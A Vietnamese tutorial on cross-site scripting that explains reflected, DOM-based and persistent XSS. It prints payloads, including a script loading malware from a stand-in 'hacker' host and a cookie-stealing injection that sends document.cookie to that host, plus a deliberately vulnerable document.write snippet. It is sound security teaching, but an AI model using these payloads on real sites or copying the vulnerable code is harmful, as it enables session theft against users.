XSS tấn công và phòng thủ: Lý thuyết về XSS

hacked

<script> alert("OK"); </script>

Để hiểu đầy đủ về tấn công XSS (cross site scripting), có rất nhiều lý thuyết và các loại công nghệ mà kẻ tấn công dùng để chèn code vào trong trình duyệt của bạn. Trong phần này, tôi sẽ giới thiệu một cách tổng quát những kỹ thuật trong tấn công XSS và những vector tấn công phổ biến, từ cơ bản đến phức tạp. Như phần này minh hoạ, có nhiều thứ liên quan đến XSS hơn những gì chúng ta có thể hiểu. Và đương nhiên, việc chèn đoạn script vào trong ô tìm kiếm là một vector tấn công, nhưng điều gì sẽ xảy ra khi chúng qua được các bộ lọc. Nó có thể vượt qua bộ lọc hay không? Có một sự thật hiển nhiên là XSS là một lĩnh vực rộng mở, nó liên tục làm cả thế giới kinh ngạc bởi các kỹ thuật mới, các phương thức tấn công và thâm nhập mới. Tuy nhiên, có những nền tảng cần phải được hiểu rõ bởi những người phát triển Web, những người nghiên cứu bảo mật và những người chuyên nghiệp về IT - những người có trách nhiệm giữ cơ sở hạ tầng cùng nhau. Phần này sẽ giới thiệu những thông tin cần thiết cho tất cả mọi người trong lĩnh vực mà họ nên biết và hiểu rằng tấn công XSS có thể trở thành dĩ vãng.

Bị tấn công XSS

XSS là một kỹ thuật tấn công buộc 1 trang Web phải hiển thị các đoạn mã độc, sau đó các mã này sẽ được thực thi trên trình duyệt Web của người dùng. Hãy nghĩ rằng các mã khai thác XSS thường (nhưng không phải luôn luôn) được viết bằng HTML/Javascript (còn được biết với tên là JavaScript malicious software (malware)), và chúng không được thực thi trên máy chủ. Máy chủ chỉ đơn giản là nơi lưu trữ, trong khi các mã đọc được thực thi trên trình duyệt người dùng. Hacker chỉ sử dụng các trang Web được tin tưởng như một cầu nối để tấn công. Người dùng mới là những nạn nhân của kiểu tấn công này, chứ không phải là máy chủ. Một khi kẻ tấn công có thể kiểm soát trình duyệt Web của người dùng, họ có thể làm nhiều hạnh đồng nguy hiểm khác, bao gồm lấy trộm tài khoản, ghi nhớ bàn phím, tấn công mạng nội bộ, lấy cắp lịch sử, và nhiều hơn nữa. Trong phần này, tôi sẽ giới thiệu một vài cách mà người dùng có thể bị tấn công bởi XSS và mắc phải tải trọng độc Javascript.

Với một trình duyệt Web bị nhiễm tấn công XSS, nó bắt buộc phải truy cập các trang Web có chứa mã độc Javascript. Có nhiều kịch bản miêu tả cách mã độc Javascript có thể cư trú bên trong trang Web. Dưới đây là một vài ví dụ:

  1. Chủ sở hữu trang Web cố ý tải lên các mã độc.
  2. Trang Web đã bị tấn công thay đổi nội dùng bằng cách lợi dụng các lỗ hổng bảo mật của mạng hoặc hệ điều hành cùng với mã độc Javascript như là một phần của tải trọng.
  3. Một lỗ hổng XSS vĩnh viễn bị khai thác, nơi mà mã độc Javascript được chèn vào nội dung công khai của trang Web.
  4. Một nạn nhân có thể đã click vào một liên kết không liên tục hoặc XSS link dựa trên DOM (Document Object Model)

Để miêu tả phương pháp 1, 2 ở trên, chúng tay hãy xem xet ví dụ sau như là một trang Web đơn giản chưa mã độc Javascript được nhúng vào nội dung. Một người dùng khi truy cập trang Web này sẽ bị lay nhiễm bằng tải trọng. Dòng thứ 5 mô tả nơi là mã độc Javascript được chèn vào và cách mà hacker có thể dùng thẻ script HTML thông thường để gọi các đoạn mã khai thác từ một vị trí tùy ý trong trang Web. Trong trường hợp này, vị trí đó chính là http://hacker/javascript_malware.js nơi mà bất cứ lượng Javascript nào cũng có thể được liên kết tới. Nó cũng là một điều quan trong khi nhắc đến khi nào đoạn mã trong file javascript_malware.js được thực thi, và nó cũng tương tự trong bối cảnh DOM của victimsite.com.

<html>
	<body>
		<h1>XSS Demonstration</h1>
		<script src=”http://hacker/javascript_malware.js” />
	</body>
</html>

Hai phương pháp tiếp theo (3 và 4) yêu cầu một trong Web có chứa các lỗ hổng XSS. Trong những trường hợp như vậy, những gì xảy ra là người dùng bị lừa click vào một link được chuẩn bị riêng (link không duy trì hoặc dựa trên DOM) hoặc người dùng bị tấn công mà không hề hay biết khi truy cập một trang Web được nhứng các mã độc (tấn công duy trì). Một điều rất quan trọng rằng một trình duyệt Web của người dùng hoặc máy tính của họ không cần phải nhạy cảm với các lỗ hổng bảo mật phổ biến. Điều đó có nghĩa là không phương pháp vá lỗi nào có thể giúp được người dùng, và chúng ta trở thành một phần quan trọng phụ thuộc hoàn toàn vào vào các thủ tục bảo mật của trang Web để có thể an toàn khi trực tuyến.

Tấn công không duy trì

Hãy suy nghĩ rằng, một hacker muốn tấn công XSS vào trang Web http://victim/, một trang Web thương mại điện tử rất nổi tiếng. Trước hết, hacker cần chỉ ra các lỗ hổng XSS trên trang Web http://victim/, và sau đó chuẩn bji một URL (Uniform Resource Locator) thủ công đặc biệt. Để làm điều đó, hacker cần lục soát toàn bộ trang Web cho bất cứ chắc năng nào mà dữ liệu do khách hàng cung cấp có thể được gửi đến máy chủ Web vào sau đó dội lại chúng ra màn hình. Một vector cực kỳ phổ biến để làm việc này là sử dụng các ô tìm kiếm.

Hình sau hiển thị một giá để hàng thông thường trên các trang Web (nhất là trang thương mại điện tử). Lỗ hổng XSS thường xuyên xảy ra trong các trường tìm kiếm trên hầu hết các trang Web. Bằng cách điền vào các mẫu thử cho XSS vào ô tìm kiếm, trang kết quả sẽ phản ánh những nội dung người dùng cung cấp, như miêu tả trong hình. Bên dưới là URL mới với đoạn truy vấn có chứa giá trị kiểm tra XSS. URL này có thể thay đổi mọi nơi, ngay cả để chứa nội dung HTML/Javasript.

figure 3.1 figure 3.2

Hình dưới đây mô phỏng những gì xảy ra khi giá trị tìm kiếm ban đầu được thay bằng đoạn mã HTML/Javascript sau

<SCRIPT>alert('XSS%20Testing')</SCRIPT>

Kết quả khi trang Web thực thi là một hộp thoại vô hại, như được hướng dẫn bởi đoạn mã được gửi đi giờ trở thành một phần của trang Web. Đây là một trình diễn cho Javascript được đưa vào trong bối cảnh của http://victim/ và được thực thi. Dưới đây mô phỏng mã nguồn của trang Web được chèn với mã HTML/Javascript mới.

figure 3.3

<form action="http://server/shopping_cart.cgi">
    <input type="text" name="search" value=""><SCRIPT>alert('XSS%20Testing')</SCRIPT>">
	<input type="submit" value="Submit">
</form>
<div>
	Sorry, no search results found for ""><SCRIPT>alert('XSS%20Testing')</SCRIPT>
</div>

Ở đây, hacker có thể tiếp tục thay đổi những URL được chuẩn bị tinh vi hơn để tấn công XSS và khai thác người sử dụng. Một ví dụ điển hình trong trường hợp này là kiểu tấn công và lấy cắp cookie.

<SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>

Ví dụ trên tạo ra một đối được DOM hình ảnh

var img=new Image();

Từ đó, mã Javascript được thực thi bên trong http://victim/, nó có thể truy cập các dữ liệu cookie

document.cookie;

Đối tượng hình ảnh này sau đó được gán cho URL bên ngoài là http://hacker/ được chèn vào cookie của trình duyệt Web nơi mà dữ liệu được gửi đi.

img.src="http://hacker/" + document.cookie;

Dưới đây là một ví dụ về yêu cầu HTTP được gửi đi

GET http://hacker/path/_web_browser_cookie_data HTTP/1.1
    Host: host
    User-Agent: Firefox/1.5.0.1
    Content-length: 0

Một khi hacker hoàn thành mã khai thác của họ, họ có thể quảng cáo link được chuẩn bị sẵn thông qua email spam (phishing với Superbait), post tin nhắn hàng loạt, tin nhắn nhanh (IM) và rất nhiều con đường khác nhằm lôi kéo người dùng click. Điều làm cho kiểu tấn công này có hiệu quả chính là người dùng thích click vào link bởi vì URL chưa trang Web với tên miền thật, hơn là một tên miền lại hay một địa chỉ IP ngẫu nhiên như trong các email phishing khác.

Kiểu tấn công dựa trên DOM

Tấn công dựa trên DOM (DOM-based) là một biểu mẫu duy nhất của XSS, được sử dụng tương tự như kiểu tấn công không liên tục, nhưng ở đây tải trọng mã độc Javascript không cần phải được gửi hay dội lại từ trang Web để khai thác một người dùng. Xét trường hợp ví dụ của chúng ở trên với một trang thương mại điện tử như hình dưới, nơi mà trang Web có một tính năng hiển thị các quảng cáo bán hàng. URL dưới đây sẽ truy vấn cơ sở dữ liệu cho các thông tin được xác định bởi product_id và hiển thi chúng cho người dùng (như hình dưới).

Figure 3.5

Figure 3.6

Để người dùng có thể xem các giá trị thay đổi, giá trị của URL có thể được update ngay trên trình duyệt để có thể bao gồm các đoạn truy vấn khác nhau.

http://victim/promo?product_id=100&title=<span style="font-weight: bold">Last+Chance! </span>
http://victim/promo?product_id=100&title=<span style="font-weight: bold">Only+10+Left! </span>

Giá trị của URL được tự động viết bởi trang Web sử dụng Javascript có sẵn.

<script>
	var url = window.location.href;
    var pos = url.indexOf("title=") + 6;
    var len = url.length;
    var title_string = url.substring(pos,len);
    document.write(unescape(title_string));
</script>

Đây là nơi mà vấn đề xảy ra. Trong kịch bản này, Javascript trên máy khách tin tưởng một cách mù quảng các dữ liệu được chứa bên trong URL là biểu diễn chúng trên màn hình. Sự tin tưởng này có thể bị lợi dụng để xây dựng các URL như sau có chứa các mã độc Javascript.

http://victim/promo?product_id=100&title=Foo#<SCRIPT>alert('XSS%20Testing')</SCRIPT>

Giống như trước đây, URL này có thể được vận dụng vào SRC trong các mã độc Javascript từ bất cứ nơi nào trên Web. Điều gì đã khiến kiểu XSS này khác các kiểu khác, đó chính là tải trọng mã độc Javascript không được gửi đến máy chủ Web. Như được định nghĩa bởi RFC (Request For Comment), một "đoạn" của URL, sau dấu # biểu thị vị trí trình duyệt Web sẽ nhảy đến trong tài liệu hiện thời. Đoạn dữ liệu sẽ không được gửi tới máy chủ Web, và ở lại với DOM. Do đó, chúng ta gọi chúng là XSS dựa trên DOM (DOM-based XSS).

Tấn công duy trì

Tấn công XSS liên tục (hay còn gọi là HTML Injection) thường xuyên xảy ra ở các trang Web cộng đồng có nội dung định hướng hoặc các trang Web mail, và nó không yêu cần một link được chuẩn bị riêng để thực thi. Một hacker chỉ cần gửi một mã khai thác XSS tới một khu vực trong trang Web giống như anh ta đang truy cập trang Web giống như mọi người dùng khác. Những khu vực này có thể là nhận xét blog, đánh giá của người dùng, nơi đăng các tin nhắn phát tán, phòng chat, thư điện tử HTML, wiki, và vô số các khu vực khác. Một khi có một người dùng truy cấp đến trang Web bị tấn công, việc thực thi các mã độc là hoàn toàn tự động. Điều này khiến cho kiểu tấn công XSS liên tục trở nên nguy hiểm hơn hẳn kiểu tấn công không liên tục hay dựa trên DOM. Bởi vì, người dùng không có cách nào để phòng thủ. Một khi hacker có thể đưa mã khai thác vào những trang Web này, anh ta có thể quảng cáo URL của trang Web bị tấn công nhằm đánh lừa những người dùng khác. Ngay cả khi người dùng rất khôn ngoan phòng tránh các tấn công XSS không liên tục, người dùng này vẫn có thể bị tấn công bởi XSS liên tục.

Trong bài tiếp theo, tôi sẽ trình bày chi tiết về kiểu tấn công XSS dựa trên DOM, một kiểu tấn công XSS rất nguy hiểm và phổ biến hiện nay.